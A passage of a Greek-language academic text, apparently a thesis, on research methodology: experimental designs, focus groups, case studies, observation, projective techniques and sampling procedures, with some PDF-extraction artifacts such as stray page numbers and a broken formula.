συναισθημάτων με την αναφορά άσχημων γεγονότων που ενδεχομένως συνέβησαν Αποφυγή άσκοπων διακοπών της συνέντευξης, απότομων μεταβάσεων μεταξύ θεμάτων, ανούσιων ερωτήσεων και συμβουλευτικών τάσεων του ερευνητή Ειδικές Τεχνικές Ποιοτικής Έρευνας i. Πειραματική μέθοδος Η πειραματική μέθοδος χρησιμοποιείται ευρύτατα για να διερευνήσει σχέσεις αιτίας μεταξύ μεταβλητών. Ορισμένες βασικές κατηγορίες που διακρίνονται, αναπτύσσονται παρακάτω. Πραγματικά Πειράματα Στο είδος αυτό, ο ερευνητής επιδιώκει να διατηρήσει έναν αριθμό μεταβλητών σταθερό και να επιτρέψει τη διακύμανση μίας μόνο μεταβλητής. Κατά συνέπεια, οποιαδήποτε μεταβολή της εξαρτημένης μεταβλητής θα οφείλεται στη μεταβολή της ανεξάρτητης. Για να διασφαλιστεί η εγκυρότητα του πειράματος πρέπει οι συμμετέχοντες να έχουν ενταχθεί στις πειραματικές ομάδες με τυχαίο τρόπο. Ημι – Πειραματική Μέθοδος Στη περίπτωση αυτή, οι συμμετέχοντες στο πείραμα δεν κατατάσσονται σε πειραματικές ομάδες από τον ερευνητή. Για λόγους δεοντολογικούς δεν κατηγοριοποιούνται από αυτόν, παρόλα αυτά πρέπει να μεριμνά έτσι ώστε οι μετρήσεις του να είναι ίδιες για όλους. Μη Πειραματική Μέθοδος (Μέθοδος Συνάφειας) Στην περίπτωση αυτή ο ερευνητής δεν μπορεί να επέμβει ελέγχοντας τη διακύμανση των ανεξαρτήτων μεταβλητών, αλλά προσπαθεί να εξακριβώσει τις συσχετίσεις του με την εξαρτημένη μεταβλητή. Τα προβλήματα που παρουσιάζονται με τη χρήση της συγκεκριμένης μεθόδου, είναι η ‘οικολογική αξιοπιστία’ τους (ecological validity), οι τεχνητές συνθήκες διεξαγωγής τους και ο περιορισμός του εύρους της εξαρτημένης μεταβλητής. Πειράματα Πεδίου Μια εναλλακτική λύση πειραματικής μεθόδου, είναι τα πειράματα πεδίου. Μέσω αυτών, ο ερευνητής, διενεργεί τη μελέτη του σε φυσικό περιβάλλον προσπαθώντας να ελέγξει όλες τις μεταβλητές. Τις περισσότερες φορές κάτι τέτοιο είναι

ανέφικτο. Διάσημο στη ιστορία της ψυχολογικής έρευνας, είναι το πείραμα του Piliavin (1969) σχετικά με τη βοηθητική συμπεριφορά των ανθρώπων. Συγκεκριμένα, προσπάθησε να μελετήσει τις αντιδράσεις των επιβατών στο μετρό της Νέας Υόρκης, στη θέα ενός ατόμου που κατέρρεε μπροστά τους. Αν και το πείραμα διεξήχθη σε νατουραλιστικό περιβάλλον και οι περισσότερες μεταβλητές όπως η ηλικία του ανθρώπου που κατέρρεε, η εμφάνισή του και η εμφανής χρήση αλκοόλ που έκανε, είχαν ελεγχθεί από πριν, υπήρχαν παράμετροι (μεταβλητές) που δεν μπορούσαν να προβλεφθούν με ακρίβεια, όπως για παράδειγμα ο αριθμός των επιβατών που ήταν παρόντες, καθώς και το μορφωτικό και κοινωνικό τους επίπεδο. Μεταβλητές όμως, ικανές για την αλλοίωση του αποτελέσματος. Για ένα αλλοιωμένο ή μη ακριβές αποτέλεσμα, μπορεί επίσης να ευθύνεται και η ύπαρξη παρασιτικών μεταβλητών. Πειράματα σε Φυσικό Πλαίσιο Μια άλλη παραλλαγή, είναι τα πειράματα που πραγματοποιούνται σε φυσικό πλαίσιο. Ένα απλό, αλλά κατατοπιστικό παράδειγμα αποτελεί η οδηγητική συμπεριφορά που μπορεί να μελετηθεί σε μια πολυσύχναστη λεωφόρο. Κάτι τέτοιο όμως, συνεπάγεται την πλήρη απώλεια ελέγχου της υπό μέτρηση συμπεριφοράς, δηλαδή τον ανεπαρκή έλεγχο των μεταβλητών. Εντούτοις, η αξιοπιστία των ευρημάτων είναι μεγάλη λόγω των πραγματικών συνθηκών διεξαγωγής του πειράματος που επικρατούν και της άγνοιας των οδηγών για τη συμμετοχή τους σε αυτό. Πιθανές πηγές σφάλματος κατά την πειραματική αυτή διαδικασία, είναι τα στερεότυπα και οι προσδοκίες του ερευνητή, ο πλημμελής έλεγχος των πειραματικών συνθηκών, η αυτοεκπληρούμενη προφητεία, η ‘στημένη’ προετοιμασία και το άγχος των συμμετεχόντων εξαιτίας της επισημότητας και της αυστηρότητας του πειραματισμού. Τέλος, η γνώση του σκοπού ενός πειράματος ή πιθανόν η πρόγνωσή του από τους συμμετέχοντες μπορεί να μεταβάλει τα ευρήματα, ενώ η απόκρυψη του στόχου είναι συνήθως αντιδεοντολογική. Οι παραπάνω πειραματικές μέθοδοι, για την εφαρμογή τους ακολουθούν κάποια ‘πειραματικά μοντέλα’, τις μορφές των οποίων αξίζει να αναλύσουμε. Μοντέλο πολλαπλών μετρήσεων Στην περίπτωση αυτή, οι ίδιοι οι συμμετέχοντες λαμβάνουν μέρος σε παραπάνω από μια πειραματικές μετρήσεις. Το πρόβλημα που παρουσιάζεται με αυτό το είδος πειραματισμού, είναι η εισροή παρασιτικών και μη εξελίξιμων μεταβλητών, όπως για παράδειγμα η κούραση των συμμετεχόντων από την συνεχή πειραματική διαδικασία, η γνώση του σκοπού του πειράματος με αποτέλεσμα την αλλοίωση των αποτελεσμάτων, η άρνησή τους να συμμετέχουν σε επόμενα βήματα. Ο ερευνητής, στην περίπτωση αυτή οφείλει να υπερβεί αυτά τα εμπόδια, με διάφορους τρόπους όπως η τυχαία ένταξη των συμμετεχόντων σε πειραματικές ομάδες, η εναλλαγή της σειράς των πειραματικών σταδίων και η ένταξη διαλειμμάτων κατά τη διάρκεια της έρευνας. Συνοψίζοντας τα πλεονεκτήματα

του συγκεκριμένου μοντέλου έχουμε ομοιογένεια του δείγματος, ομοιογένεια διασποράς, αξιόπιστα αποτελέσματα ακόμα και με μικρό αριθμό συμμετεχόντων. Μοντέλο ανεξαρτήτων δειγμάτων Στην περίπτωση αυτή κάθε συμμετέχων μπορεί να ανήκει σε μια μόνο πειραματική ομάδα. Με τη χρήση του μοντέλου ανεξαρτήτων δειγμάτων, δεν εμφανίζονται φαινόμενα κούρασης ή πρόγνωσης του σκοπού της έρευνας και υπάρχει ευκολία στην αποπεράτωση της έρευνας εξαιτίας δυνατότητας χρήσης του ίδιου υλικού εξέτασης. Τα αρνητικά χαρακτηριστικά όμως που παρουσιάζονται είναι το γεγονός ότι απαιτείται μεγάλος αριθμός συμμετεχόντων και διαπιστώνεται η έλλειψη ομοιογένειας της διασποράς, γεγονός που απαιτεί τη χρήση μη παραμετρικών στατιστικών τεχνικών. Μοντέλο δυαδικών αντιστοιχιών 52 Στην περίπτωση αυτή, το πείραμα διενεργείται σε ζεύγη ατόμων. Ο ερευνητής προκειμένου να αποφύγει το σφάλμα που προέρχεται από τις ατομικές διαφορές των συμμετεχόντων, την ανομοιογένεια των ομάδων και την ανεπάρκεια των κοινωνικών κατανομών του δείγματος, επιλέγει τους συμμετέχοντες κατά τέτοιο τρόπο, ώστε να παρουσιάζουν ταύτιση σε μεταβλητές όπως το φύλλο τους, η ηλικία τους, το μορφωτικό τους επίπεδο. Τα μειονεκτήματα του συγκεκριμένου μοντέλου, εντοπίζονται στο γεγονός ότι οι ατομικές διαφορές των συμμετεχόντων είναι αδύνατον να εξαλειφθούν, η αποχώρηση του ενός εκ των δύο μελών συνεπάγεται εξάλειψη όλων των δεδομένων που αποκτήθηκαν και ύπαρξη δυσκολιών στην τέλεια όμοια αντιμετώπιση του κάθε ατόμου. Μοντέλο ατομικής περίπτωσης Σε περιπτώσεις που είναι δύσκολη η ανεύρεση συμμετεχόντων, η έρευνα μπορεί να βασιστεί στην εξέταση μεμονωμένων περιπτώσεων. Κάτι τέτοιο συμβαίνει εξαιτίας σπανιότητας του είδους του πληθυσμού που μας ενδιαφέρει. Φυσικά προκύπτει αμέσως το πρόβλημα της γενίκευσης των ευρημάτων, αλλά οι διασημότεροι στοχαστές των κοινωνικών επιστημών βάσισαν τις παρατηρήσεις τους σε μεμονωμένες περιπτώσεις.. Η πειραματική μέθοδος της ανάλυσης περιπτώσεων περιλαμβάνει συνήθως περιόδους παρατήρησης κατά τις οποίες η συμπεριφορά του ατόμου, η συχνότητά της, τα αίτια εμφάνισής της και τα γεγονότα που συμβαίνουν κατά τη διάρκειά της, καταγράφονται συστηματικά. Ομάδες εστίασης ενδιαφέροντος Στη μέθοδο αυτή ένας μικρός αριθμός ατόμων, συνήθως 8 έως 12, συγκεντρώνονται σ κάποιο χώρο και συζητούν σχετικά με το θέμα που ενδιαφέρει τον ερευνητή. Ο χώρος αυτός είναι ειδικά διαμορφωμένος με την ύπαρξη ενός ‘μονόδρομου’ καθρέφτη, έτσι ώστε να είναι δυνατή η παρακολούθηση της συζήτησης από τον ερευνητή, καθώς και η παρακολούθηση όλων των οπτικοακουστικών μέσων. Η συζήτηση κατευθύνεται από συντονιστή και διαρκεί 1,5 με 3 ώρες. Η σύνθεση των συμμετεχόντων γίνεται με τέτοιο τρόπο ώστε να αντανακλά τα χαρακτηριστικά του μέρους της αγοράς που μας ενδιαφέρει. Οι συμμετέχοντες επιλέγονται με τέτοιο τρόπο ώστε η ομάδα που θα προκύψει να είσαι όσο το

δυνατόν ομοιογενής για την αποφυγή αντεγκλήσεων και συγκρούσεων μεταξύ των μελών της ομάδας. Η μέθοδος αυτή, δίνει τη δυνατότητα έκφρασης των συμμετεχόντων σε συνεργασία με τα υπόλοιπα μέλη. Ομάδες Placebo Τέλος, πρέπει να αναφερθούμε στις ομάδες Placebo, οι οποίες συνήθως χρησιμοποιούνται στην κλινική πειραματική πρακτική. Οι ομάδες αυτές συνήθως συγκρίνονται με ομάδες ασθενών που λαμβάνουν θεραπείες σε πειραματικό στάδιο. Οι συμμετέχοντες έχουν την παραπλανητική αίσθηση ότι λαμβάνουν θεραπευτική αγωγή για κάποιο λόγο, όμως στην πραγματικότητα οι θεράποντες χορηγούν ουδέτερα σκευάσματα. Μέθοδος που ακολουθείται κατόπιν πειραμάτων που έχουν αποδείξει πως σε πολλές περιπτώσεις, η ψευδαίσθηση λήψης θεραπευτικής αγωγής είναι εξίσου αποτελεσματική με την πραγματική λήψη. ii. Η μελέτη της περίπτωσης Η κριτική που ασκήθηκε γενικότερα για την αξιοπιστία και την εγκυρότητα των ποιοτικών μεθόδων ισχύει και για τις μελέτες περίπτωσης. Αφορά στη δυνατότητα γενίκευσης των συμπερασμάτων τους, εφόσον περιορίζονται στη μελέτη ενός μόνον ατόμου, στην υποκειμενικότητα του αναλυτή και στους μεθοδολογικούς περιορισμούς που αυτά συνεπάγονται.. Αν αναλογιστούμε την ανελαστικότητα, το κόστος και τις απαιτήσεις των ποσοτικών μεθόδων έρευνας αγοράς, αντιλαμβανόμαστε πως η μελέτη της περίπτωσης αποτελεί μια συμφέρουσα εναλλακτική λύση. Σε αυτή δεν υπάρχει περιορισμός ελαχίστου αριθμού συμμετεχόντων, δεν προϋποτίθεται κανενός είδους δειγματοληψία και υπάρχει επαρκής χρόνος για την εις βάθος ανάλυση της κάθε περίπτωσης και τις ιδιαιτερότητές της. Οι μελέτες περίπτωσης είναι κατάλληλες για κλινικούς πληθυσμούς με σπάνια χαρακτηριστικά, όπως επίσης για τη μελέτη γενικά ακραίων φαινομένων και περιστατικών που αμφισβητούν τον κανόνα. Οι μελέτες αυτές, μπορεί να αφορούν σε μία η πολλές μεμονωμένες περιπτώσεις, οι οποίες πραγματοποιούνται για λόγους επανάληψης και δεν μπορούν να χαρακτηρισθούν ως ‘προσπάθεια δειγματοληψίας’. Κάθε μελέτη περίπτωσης αποτελεί μια ολοκληρωμένη έρευνα και ερμηνεύεται ολιστικά. Η γενίκευση των ευρημάτων, αφορά στην αναγωγή μιας θεωρίας και όχι στην εξαγωγή συμπερασμάτων σχετικά με κάποιο πληθυσμό. Μια μελέτη περίπτωσης θα μπορούσε να αναλυθεί σε διακριτά μέρη: Διατύπωση υποθέσεων και ερευνητικών ερωτημάτων Στόχους Επιλογή υποψηφίων για μελέτη και εξέταση πιθανών πηγών πληροφόρησης Επιλογή της μεθόδου που θα ακολουθηθεί Κριτήρια ερμηνείας δεδομένων

Τρόπος παρουσίασης των δεδομένων Λογική σύνδεση των ευρημάτων με υπάρχουσες θεωρίες Απώτερος σκοπός στις μελέτες περιπτώσεων είναι η διατύπωση ύπαρξης συστηματικότητας στις παρατηρήσεις, επαναλαμβανόμενα σχήματα, ομαδοποιήσεις συμπεριφορών, που θα οδηγήσουν στη διατύπωση ενός αντιπροσωπευτικού μοντέλου και προτάσεων σχετικά με αυτό. Η ανάλυση των δεδομένων μιας τέτοιας μελέτης, αν και δεν αποκλείει τη στατιστική επεξεργασία, συνήθως βασίζεται στη θεωρητική προσπέλαση υλικού, η οποία καθοδηγεί τον ερευνητή σε κάθε του βήμα. Η ανάλυση της περίπτωσης πρέπει να στηρίζεται στην ανάδειξη όλων των αποδεικτικών στοιχείων που καταγράφηκαν, στην αποτύπωση αντίθετων θεωριών και στην αξιοποίηση της εμπειρίας και της γνώσης του ερευνητή. iii. Η παρατήρηση Η παρατήρηση ως μέθοδος άντλησης πληροφοριών, ειδικότερα σε θέματα που αφορούν ανθρώπινες συμπεριφορές ή κοινωνικά φαινόμενα, μπορεί να υπερβεί τα μειονεκτήματα της πειραματικής μεθόδου ή ακόμα και της χορήγησης ερωτηματολογίων, εξαιτίας του γεγονότος ότι δίνει έμφαση στην καταγραφή της συμπεριφοράς σε νατουραλιστικό πλαίσιο. Ο ερευνητής συνήθως δεν επεμβαίνει σε όσα παρατηρεί ούτε χειρίζεται κάποια ανεξάρτητη μεταβλητή, όπως θα συνέβαινε στην περίπτωση ενός πειράματος. Στη μη συμμετοχική παρατήρηση, τα πλεονεκτήματα είναι εξίσου σημαντικά. Ο ερευνητής μπορεί να γίνεται ή όχι αντιληπτός από τους παρατηρούμενους, οι οποίοι δεν χρειάζεται να λειτουργήσουν υπό τεχνικές εργαστηριακές συνθήκες ή να απαντήσουν σκόπιμα υπερβολικά μέσω κάποιου ερωτηματολογίου. Σε αυτή, ο ερευνητής περιορίζεται στην καταγραφή των τάσεων, των συμπεριφορών, των γεγονότων που προηγούνται ή έπονται ενός συμβάντος, χωρίς να επεμβαίνει με οποιοδήποτε τρόπο, χωρίς να δίνει επεξηγήσεις και οδηγίες και χωρίς να προβαίνει σε ερμηνευτικές προσπάθειες. Η πραγματική διαδικασία παρατήρησης, ξεκινά μόλις ο ερευνητής διαπιστώσει ότι τα υπό παρατήρηση άτομα έχουν εξοικειωθεί με την παρουσία του. Στη συμμετοχική παρατήρηση ο ερευνητής είναι ένα μέρος του κοινωνικού φαινομένου. Της κοινότητας ή της ομάδας που παρατηρεί, εξασφαλίζοντας έτσι μεγαλύτερη ευελιξία, αλλά διαταράσσοντας την αξιοπιστία και την εγκυρότητα των παρατηρήσεών του. Μια άλλη διάκριση αφορά στον βαθμό γνώσης των υπό παρατήρηση ατόμων για την διεξαγωγή επιστημονικής έρευνας, κατά την οποία καταγράφεται η συμπεριφορά τους. Πολλοί ερευνητές, προς αποφυγή αλλοίωσης της συμπεριφοράς, είτε δεν πληροφορούν τους παρατηρούμενους, είτε τους παρέχουν ελάχιστες ή ακόμα και ψευδείς πληροφορίες σχετικά με τις πειραματικές υποθέσεις. Η παρατήρηση θα πρέπει να στηρίζεται πάνω στις ακόλουθες βασικές αρχές: Αναλυτική περιγραφή των υπό παρατήρηση συμπεριφορών, πριν την έναρξη της διαδικασίας Δειγματοληπτική καταγραφή της συμπεριφοράς Διεξοδική εκπαίδευση των ερευνητών στη

χρήση συστημάτων κωδικοποίησης των συμπεριφορών, ώστε να γίνεται πιο εύκολη η καταγραφή τους Χρήση κάμερας, φωτογραφικής μηχανής, μαγνητοφώνου ή σημειώσεων του ερευνητή Παρατήρηση και καταγραφή της συχνότητας των συμπεριφορών ή ακόμα και της έκτασής της βάσει κάποιας προκαθορισμένης κλίμακας Όποια τεχνική και αν χρησιμοποιηθεί, είναι απαραίτητη η διασφάλιση την αξιοπιστίας των παρατηρητών. Ακόμα και κάτι τέτοιο, είναι δυνατόν να μετρηθεί μέσω στατιστικών τεχνικών. Πηγή σφάλματος της παρατήρησης, αποτελούν τα ίδια τα όργανα καταγραφής και ειδικά οι σημειώσεις του ερευνητή. Για τον λόγο αυτό, η προετοιμασία των μεθόδων καταγραφής είναι δέον να γίνεται εξονυχιστικά και οι κατηγορίες των υπό παρατήρηση συμπεριφορών, αναλυτικά διευκρινισμένες. Συγκεκαλυμμένες τεχνικές Οι συγκεκαλυμμένες τεχνικές είναι εκείνες που ο σκοπός τους δεν είναι άμεσα φανερός. Οι τεχνικές αυτές είναι συνήθως αρκετά δαπανηρές, μια και απαιτούν μεγάλης εμπειρίας ερευνητές για την πραγματοποίηση των συνεντεύξεων αλλά και της ανάλυσης των αποτελεσμάτων. Έχει αποδειχθεί όμως, η ιδιαίτερη χρησιμότητά τους σε εξερευνητικού τύπου μελέτες παρά για περιγραφικές ή αιτιολογικές. Αυτό συμβαίνει εξαιτίας του γεγονότος ότι μπορεί να οδηγήσουν στη δημιουργία υποθέσεων, οι οποίες έπειτα διενεργούνται περαιτέρω. i. Συσχετισμός λέξεων Με τη χρήση της συγκεκριμένης τεχνικής, ο ερευνητής παρουσιάζει μια κατάσταση με διάφορες λέξεις και ζητάει από τον ερωτώμενο να πει την πρώτη λέξη που του έρχεται στο μυαλό. Η λίστα των λέξεων περιλαμβάνει και λέξεις που δεν είναι σχετικές με το θέμα, έτσι ώστε να μην αποκαλυφθεί ο σκοπός της έρευνας. Μια παραλλαγή της τεχνικής αυτής, είναι η μέθοδος της αλυσίδας των οφελών (benefit chain), σύμφωνα με την οποία δίνεται στον ερωτώμενο μια περιγραφή για κάποιο προϊόν, ο οποίος καλείται να κατονομάσει όλα τα οφέλη που συνεπάγεται η χρήση του συγκεκριμένου προϊόντος. ii. Συμπλήρωση φράσης Με τη χρήση της συγκεκριμένης τεχνικής, ο ερωτώμενος καλείται να συμπληρώσει μια ημιτελή φράση με τις πρώτες σκέψεις που του έρχονται στο μυαλό. Είναι γεγονός, πως η τεχνική αυτή έδειξε πως τα αποτελέσματα έρευνας που διενεργήθηκε με τη μέθοδο της συμπλήρωσης φράσης, παρουσίασαν μεγαλύτερη αξιοπιστία ακόμα και από τη διενέργεια άμεσης ερώτησης. iii. Συμπλήρωση ιστορίας Η συγκεκριμένη τεχνική αποτελεί μια προέκταση της προηγούμενης. Στην πράξη, δίνεται στον ερωτώμενο μια ημιτελής ιστορία την οποία καλείται να συμπληρώσει. Η χρήση της τεχνικής αυτής έδειξε πως τα αποτελέσματα έρευνας που

διενεργήθηκε με τη μέθοδο της συμπλήρωσης ιστορίας παρουσιάζουν αρκετά μεγάλη αξιοπιστία, όπως χαρακτηριστικά συμβαίνει και με την προηγούμενη μέθοδο. Συμπλήρωση εικόνας Στη μέθοδο αυτή, δίνεται στον ερωτώμενο μια εικόνα που παρουσιάζει κάποια κατάσταση. Αναπαριστά συνήθως ένα ή περισσότερα άτομα να έχουν εκφέρει κάποια γνώμη για κάτι, ενώ τα υπόλοιπα άτομα φαίνεται να σκέφτονται ή ακόμα και να είναι έτοιμα να απαντήσουν. Ο ερωτώμενος, καλείται να συμπληρώσει αυτές τις πιθανές σκέψεις. Όπως και στις προηγούμενες μεθόδους, ο ερωτώμενος δίνει απαντήσεις που αντανακλούν στο υποσυνείδητο του. Η ανάλυση των δεδομένων γίνεται όπως και προηγουμένως. v. Έλεγχος θεματικής αντίληψης Η χρήση της τεχνικής αυτής, πραγματοποιείται δίνοντας στον ερωτώμενο μια εικόνα ή μια σειρά από αυτές, που καλείται να μελετήσει μέσα σε ένα μικρό χρονικό διάστημα Στη συνέχεια, καλείται να γράψει μια ιστορία στην οποία να περιγράφει την πιθανή κατά τη γνώμη του εξέλιξη της ιστορίας που περιγράφεται μέσω των εικόνων. Ο τρόπος με τον οποίο ο ερωτώμενος απαντά, οδηγεί στην ερμηνεία της ψυχολογίας και της προσωπικότητάς του, καθώς και για τη στάση του απέναντι στο αντικείμενο για το οποίο διενεργείται η μελέτη. Ποιοτική Έρευνα Ποιοτική Έρευνα όπως προαναφέραμε, είναι ένας συνδυασμός Στατιστικής (Ποσοτικής) και Ποιοτικής Έρευνας. Αυτή η μορφή έρευνας, είναι και η συνηθέστερη εφόσον κάνει δυνατό τον συνδυασμό των πλεονεκτημάτων των δύο ερευνών. Κατά συνέπεια, η φύση της είναι και ‘ανιχνευτική’ και ‘στατιστική’. Δηλαδή με τη χρήση ενδεικτικών ποσοτικών στοιχείων, μας δίνεται η δυνατότητα αξιολόγησης της δυναμικής της στάσης των συμμετεχόντων. Πιο απλά ο συνδυασμός ερωτημάτων ποιοτικής φύσεως όπως ‘Πως;’, ‘Γιατί;’ με ερωτήματα ποσοτικής φύσεως όπως ‘Πόσοι;’, ‘Ποιοι;’, ‘Πότε;’ είναι ικανός να μας δώσει μια πλήρη εικόνα ως αποτέλεσμα της έρευνας που διενεργήθηκε. Δειγματοληψία – Ερωτηματολόγιο Δειγματοληψία Η έναρξη της διαδικασίας της δειγματοληψίας, ξεκινά μετά τη ολοκλήρωση της διαδικασίας του ακριβή καθορισμού του προβλήματος, την επιλογή του κατάλληλου σχεδίου έρευνας και τον σχεδιασμό όλων των μέσων που θα χρησιμοποιηθούν σε αυτήν. Κατά τη διαδικασία της δειγματοληψίας, γίνεται η επιλογή των ερωτώμενων, των συμμετεχόντων δηλαδή στην έρευνα. Κατά την έναρξη της δειγματοληψίας, γίνεται η επιλογή του πληθυσμού, μέρος του οποίου θα αποτελέσει το δείγμα (sample). Αυτό αναφέρεται σαν ‘απογραφή του πληθυσμού’ (census). Η κρίση που αφορά στην καταλληλότητα του δείγματος μέσα από τον πληθυσμό, αποτελεί καθοριστικό ρόλο καθώς επιδιώκεται η πιο εύστοχη δυνατή

επιλογή

του

δείγματος,

προκειμένου

να

προκύψουν

αποτελέσματα

αντιπροσωπευτικά για την έρευνα. Οι πληροφορίες που θα συλλεγούν με την παραπάνω διαδικασία μέσω του δείγματος, αποτελούν δεδομένα, απαραίτητα για την εξαγωγή συμπερασμάτων από τον ερευνητή. Ο βαθμός ικανότητάς του στην εξαγωγή των συμπερασμάτων αυτών, εξαρτάται άμεσα από τη μέθοδο που επέλεξε προκειμένου να επιλέξει το δείγμα. Άλλες παράμετροι, καθοριστικές για τη διενέργεια της δειγματοληπτικής διαδικασίας, αποτελούν το κόστος, ο χρόνος και η ακρίβεια. Το ύψος της δαπάνης που απαιτείται για τη συλλογή των στοιχείων από τα μέλη ενός ακέραιου πληθυσμού αποτελεί σοβαρό περιοριστικό παράγοντα για τη συγκέντρωση των στοιχείων. Αυτός είναι και ο λόγος για τον οποίο πραγματοποιείται μια επιλογή κατάλληλη από τα μέλη του πληθυσμού. Ένα αντιπροσωπευτικό δείγμα. Το ενδεχόμενο συγκέντρωσης των στοιχείων από όλα τα μέλη του πληθυσμού, πέραν του υψηλού κόστους, απαιτεί και μεγάλο χρονικό διάστημα διενέργειας. Κάτι τέτοιο, συνεπάγεται πρακτικά και καθυστέρηση στη λήψη των αποφάσεων, γεγονός που μπορεί να αποβεί καταστρεπτικό για την επιχείρηση. Τέλος, μια έρευνα που βασίζεται σε έναν ολόκληρο πληθυσμό, δεν σημαίνει ότι δεν μπορεί να περιέχει στατιστικά σφάλματα. Είναι λοιπόν πολύ πιθανό ένας πολύ προσεκτικός σχεδιασμός του δείγματος, να μπορεί να μειώσει στατιστικά σφάλματα στο δείγμα. Κάτι τέτοιο επιτυγχάνεται με τη μείωση του αριθμού μη εποικοδομητικών συνεντεύξεων, λαθών κατά την καταγραφή και την επεξεργασία των αποτελεσμάτων καθώς και του ποσοστού άρνησης των ερωτώμενων να απαντήσουν. Δειγματοληπτική Διαδικασία Η δειγματοληπτική διαδικασία αποτελείται από έξη στάδια, κάθε ένα από τα οποία θα αναλύσουμε παρακάτω. Ορισμός Πληθυσμού Ο πληθυσμός αποτελείται από όλους όσους μπορούν να λάβουν μέρος σε μια έρευνα και ορίζεται από τέσσερις παραμέτρους. Το στοιχείο (element) όπως ένα δείγμα μιας συγκεκριμένης ηλικίας που έχει μια ιδιότητα, τη μονάδα δειγματοληψίας (sampling unit) που μπορεί να περιγράφει ένα χαρακτηριστικό της προαναφερθείσας ομάδας, την έκταση (extend) δηλαδή τη γεωγραφική ή άλλης κατηγορίας έκταση διενέργειας της έρευνας και τον χρόνο (time) και πιο συγκεκριμένα το χρονικό διάστημα μέσα στο οποίο παρατηρήθηκαν τα παραπάνω. Προσδιορισμός Πλαισίου Δείγματος Το πλαίσιο δείγματος (sampling frame) αποτελείται από τους καταλόγους που περιλαμβάνουν όλους τους πιθανά ερωτώμενους από τους οποίους θα επιλεγεί το δείγμα. Ο προσδιορισμός του πλαισίου δείγματος απαιτείται μόνο στις περιπτώσεις που το δείγμα είναι δείγμα πιθανότητας. Αντίθετα, στις περιπτώσεις που το δείγμα είναι δείγμα μη πιθανότητας δεν απαιτείται η χρήση πλαισίου του δείγματος. Παραδείγματα χρήσιμων πλαισίων έρευνας, αποτελούν οι χάρτες των πόλεων καθώς και ο τηλεφωνικός κατάλογος. Καθορισμός Μονάδας Δειγματοληψίας Η μονάδα δειγματοληψίας

είναι η βασική μονάδα που περιέχει τα στοιχεία του πληθυσμού από όπου θα ληφθεί το δείγμα. Η μονάδα δειγματοληψίας που επιλέγεται εξαρτάται από το πλαίσιο του δείγματος. Η ύπαρξη ενός αξιόπιστου πλαισίου δείγματος, καθιστά εφικτή την απευθείας επιλογή του δείγματος από το πλαίσιο δειγματοληψίας και κατά συνέπεια η μονάδα δειγματοληψίας με το στοιχείο του πληθυσμού, είναι τα ίδια. 60 Αν το πλαίσιο του δείγματος δεν κρίνεται αξιόπιστο, τότε ο ερευνητής καλείται να επιλέξει τα άτομα ή τις ομάδες που θα Επιλογή Μεθόδου Δειγματοληψίας Η μέθοδος της δειγματοληψίας αναφέρεται στον τρόπο με τον οποίο θα γίνει η επιλογή των στοιχείων του πληθυσμού που θα αποτελούν το δείγμα. Οι μέθοδοι δειγματοληψίας μπορούν να χωριστούν σε δύο μεγάλες κατηγορίες. Τα Δείγματα Πιθανότητας (probability samples) και τα Δείγματα Μη Πιθανότητας (non probability samples). Σε ένα δείγμα πιθανότητας, κάθε στοιχείο έχει γνωστή και μη μηδενική πιθανότητα να συμπεριληφθεί στο δείγμα. Αντιθέτως, σε ένα δείγμα μη πιθανότητας δεν υπάρχει τρόπος υπολογισμού της πιθανότητας του κάθε στοιχείου του πληθυσμού να συμπεριληφθεί στο δείγμα. Για τον λόγο αυτό δεν μπορούμε να κρίνουμε σωστά την αντιπροσωπευτικότητα του δείγματος. Πιο αναλυτικά: i. Δείγματα Πιθανότητας (probability samples) Στα δείγματα πιθανοτήτων ο ερευνητής μπορεί να υπολογίσει την μη μηδενική πιθανότητα, ένα στοιχείο του πληθυσμού να αποτελέσει μέρος του δείγματος. Επίσης μπορεί να υπολογίσει το μέγεθος του δειγματοληπτικού σφάλματος (sampling error), κάτι το οποίο δεν είναι δυνατόν να συμβεί με τα δείγματα μη πιθανότητας. Τα δείγματα πιθανότητας δεν συνεπάγεται σε καμία περίπτωση ότι είναι πιο αντιπροσωπευτικά από τα δείγματα μη πιθανότητας. Το δειγματοληπτικό σφάλμα αφορά τον υπολογισμό της έκτασης της διαφοράς που υπάρχει μεταξύ του δείγματος και του πληθυσμού στις τιμές των μεταβλητών της μελέτης. Τα δείγματα πιθανότητας, σε σχέση με τα δείγματα μη πιθανότητας, πλεονεκτούν στη δυνατότητα υπολογισμού του δειγματοληπτικού σφάλματος. Τρία δείγματα πιθανοτήτων είναι τα: Απλό Τυχαίο Δείγμα Πιθανότητας (simple random probability sample) Κατά το οποίο κάθε στοιχείο του πληθυσμού έχει ίση πιθανότητα να επιλεγεί στο δείγμα. Οι τρόποι λήψης του δείγματος είναι η μέθοδος των λαχνών και η μέθοδος των τυχαίων αριθμών. Αυτές οι μέθοδοι είναι επίπονες και χρονοβόρες, καθώς για την εφαρμογή τους απαιτείται μεγάλος αριθμός συμμετεχόντων. Στρωματοποιημένο Δείγμα Πιθανότητας (stratified probability sample) Κατά το οποίο προηγείται ο χωρισμός του πληθυσμού σε πλήρης ομοειδής ομάδες (strata) και έπειτα γίνεται επιλογή ενός απλού τυχαίου δείγματος από κάθε ομάδα (stratum). Αυτό συμβαίνει διότι ο πληθυσμός στην αρχική του μορφή είναι ανομοιογενής όσον αφορά τη χαρακτηριστική ιδιότητα για την οποία τον εξετάζουμε. Πιο επιστημονικά, κάτι τέτοιο σημαίνει μεγάλη

διακύμανση του πληθυσμού. Η στρωματοποίηση του δείγματος, γίνεται με κριτήρια τις διαφορές των διακυμάνσεων των επιμέρους στρωμάτων. Κάθε στοιχείο του πληθυσμού, δύναται να ανήκει σε μια και μόνον ομάδα. Σε αυτή την περίπτωση ο ερευνητής καλείται να αποφασίσει αν το δείγμα θα είναι αναλογικό (proportionate stratified sample) ή μη αναλογικό (proportionate stratified sample). Στην πρώτη περίπτωση, ο αριθμός των μελών του δείγματος υπολογίζεται έτσι ώστε να αντανακλά την αναλογία των στοιχείων σε κάθε ομάδα στον πληθυσμό. Στη δεύτερη περίπτωση, ο ερευνητής για την επιλογή του δείγματος χρησιμοποιεί κάποιο συντελεστή στάθμισης ο οποίος αντικατοπτρίζει τον βαθμό σπουδαιότητας της κάθε ομάδας. Γενικά, αν ένας πληθυσμός Ν χωριστεί σε m στρώματα, τότε το κάθε στρώμα mi θα αντιπροσωπεύεται από ni μονάδες που θα δίνονται από την παρακάτω σχέση: N Nι ni = Δείγμα Βάσει Ομάδων (cluster probability sample) Για τη λήψη του οποίου ο ερευνητής προχωρά στη 